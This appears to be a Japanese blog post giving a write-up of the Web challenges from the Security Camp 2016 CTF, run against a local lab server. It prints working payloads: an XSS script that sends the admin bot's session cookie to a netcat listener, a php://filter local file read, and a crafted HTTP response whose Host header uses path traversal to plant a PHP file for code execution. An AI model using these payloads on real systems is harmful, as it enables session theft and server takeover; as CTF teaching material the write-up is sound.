読者です 読者をやめる 読者になる 読者になる

ヾノ*>ㅅ<)ノシ帳

技術ブログに見せかけて、ジャンル制限のないふりーだむなブログです。

セキュキャンCTF Web問のWriteup

セキュリティキャンプ全国大会2016でチーム対抗のCTFが開催されましたね。
チューターチーム「友利奈緒とゆかいな仲間たち」の友利奈緒です。
当日はネットワークトラブルのせいで解く時間が全然なかったのですが、そのときに難易度が低いと噂のWebを1つも解けなかったので今日解き直しました。
以下Writeupです。

ipアドレスを192.168.39.39としてサーバーを動かしています。

FLAG_1

http://192.168.39.39/ につなぐとこんな画面が出てきます。 FLAG_1は非公開になっており、adminが見れるページのようですね。

f:id:katc:20160827204553p:plain

仕方がないのでtest postを開きます。 コメントができますね。

この問題は50点ぐらいに見えるのでここにXSSがあって、adminのcookieを抜き取るのでしょう。 CTFではよくあるパターンですね。 いろいろ準備するのはだるいので、192.168.39.39にsshログインして、netcatで待ち構えてcookieを覗きましょう。

<script>location.href="http://192.168.39.39:8080/"</script>
pi@d55f1549b655:~ $ nc -l -p 8080
GET / HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://192.168.39.39/comments/check.php?id=1
User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1
Cookie: PHPSESSID=a7vejaoqteu1o8l3gojgl10lo1
Connection: Keep-Alive
Accept-Encoding: gzip, deflate
Accept-Language: en,*
Host: 192.168.39.39:8080

cookieを取れたのでブラウザでこの値を入れてからFLAG_1のページを見ます。やるだけですな。(なんであの場ではうまくいかなかったのか…)

f:id:katc:20160827210017p:plain

flag: FLAG{c0NgRaTz_y0u'v3_H4cK3d_4dM1N_4Cc0UnT}

flag3.txt

ヒントには /var/www/flag3.txt にフラグがあると言っているので、adminになりつつ投稿画面を見に行きます。
(Admin Panelの存在はindex.phpのコメントを見るか、robots.txtで示唆されているので見落とさないようにしましょう)

f:id:katc:20160827210353p:plain

Import from URL でローカルファイルを読み込むんだろうなという検討は立ちます。 fileは弾かれるのでfiLeとかで大文字を入れればWAFみたいのを回避できます。
(というのを当日に聞いていたのでここでは別解を書きます。)

ソースを見ると(以下の方法と同様にして入手できるはずです)、file_get_contentsでリモートorローカルのリソースを読み込む仕組みになっています。 この関数は php://filter/ でおなじみのフィルタが利用できるのでそれで読み込むことも可能です。 つまり、URLとして php://filter/resource=/var/www/flag3.txt を指定します。 できたページを見て終わりです。

f:id:katc:20160827211217p:plain

flag: FLAG{3xpLo1TInG_S3rV3r-S1D3_r3Qu3St_f0RG3rY}

flag4.txt

いよいよ最後の問題です。
(自分にはここからが長かった…ctf4b運営のもりたこ先生にヒントを乞うて、利用する脆弱性のヒントをもらったぞい)

ファイル名が分からない状態ではフィルタが使えないっぽいので、ファイルに書き込んでくれる系を脆弱性として使うのでしょう。 もりたこヒントによると、post/import.phpディレクトリトラバーサル脆弱性があり、リモートで任意コード実行(RCE)可能らしいです。

ということで、デバッグ出力している次の箇所に目を付けました。

function parseHeaders($headers) {
  $head = array();
  foreach($headers as $k=>$v) {
    $t = explode( ':', $v, 2 );
    if (isset($t[1]))
      $head[ trim($t[0]) ] = trim( $t[1] );
    else {
      $head[] = $v;
      if (preg_match( "#HTTP/[0-9\.]+\s+([0-9]+)#",$v, $out ))
        $head['reponse_code'] = intval($out[1]);
    }
  }
  return $head;
}

//
$data = file_get_contents($url);

$headers = parseHeaders($http_response_header);
if (isset($headers['Host'])) {
  $host = $headers['Host'];
}
else {
  $host = parse_url($url, PHP_URL_HOST);
}

$title = "Imported data from $host";
addPost($title, $data, (int)(empty($_POST['secret'])));
$_SESSION['create_ok'] = true;

// DEBUG
$debug_log  = "url: $url\n";
$debug_log .= "status: success\n";
$debug_log .= "content: $data\n";

file_put_contents(sprintf('/tmp/mars_debug_log_%d_%s', time(), $host), $debug_log);

sprintf でファイル名を作っていますが、%sディレクトリトラバーサル自明ですね。 %s$host で変えられるようです。後で確認します。 書き込み内容は $debug_log で決まり、$data に僕のコードを仕込めば実行してくれそうです。

さて $host は何に由来するのかというと、少し上の $headers['Host'] で、 parseHeaders でHTTPレスポンスヘッダにあったHostフィールド(公式仕様には無いやつですね…。気づくヒントだったのかな…?)の値が $host に来るみたいです。

netcatで簡単なHTTPサーバーでも立てておきますかね。 ということで、netcatで応答すべき内容はこんな感じになります。 phpタグに囲まれていないところにゴミが入っていても問題ありません。phpの性質をよく利用した賢い問題っすね。

HTTP/1.1 200 OK
Host: /../../var/www/html/evil.php
Content-Length: 50

<?php
print_r(scandir('/var/www/flag4'));
?>

# nc -l -p 8080 < http_response

あとはnetcatで待ち受けて、リクエストが来てこちらが応答したら Ctrl+C でCloseしちゃいます(笑)
# もっといい方法ないすかねー?

投稿画面ではURLに http://192.168.39.39:8080/ を指定しました。

pi@d55f1549b655:~ $ nc -l -p 8080 < http_response
GET / HTTP/1.0
Host: 192.168.39.39:8080
Connection: close

^C

f:id:katc:20160827213143p:plain

f:id:katc:20160827213242p:plain

ファイル名が分かったので、先の問題と同様にして中身を暴露します。

f:id:katc:20160827213408p:plain

flag: FLAG{W0w_u_pwn3d_Mars!}


難易度設定はキャンプのCTFにはいい感じですね。

手元にRasPiが無いのでCTF運営公式のイメージファイルから必要なファイルを取り出して、適当にDockerizeしました。
さっき運営の一人のもりたこちゃんに披露したので、そのうち公開されるかもしれません。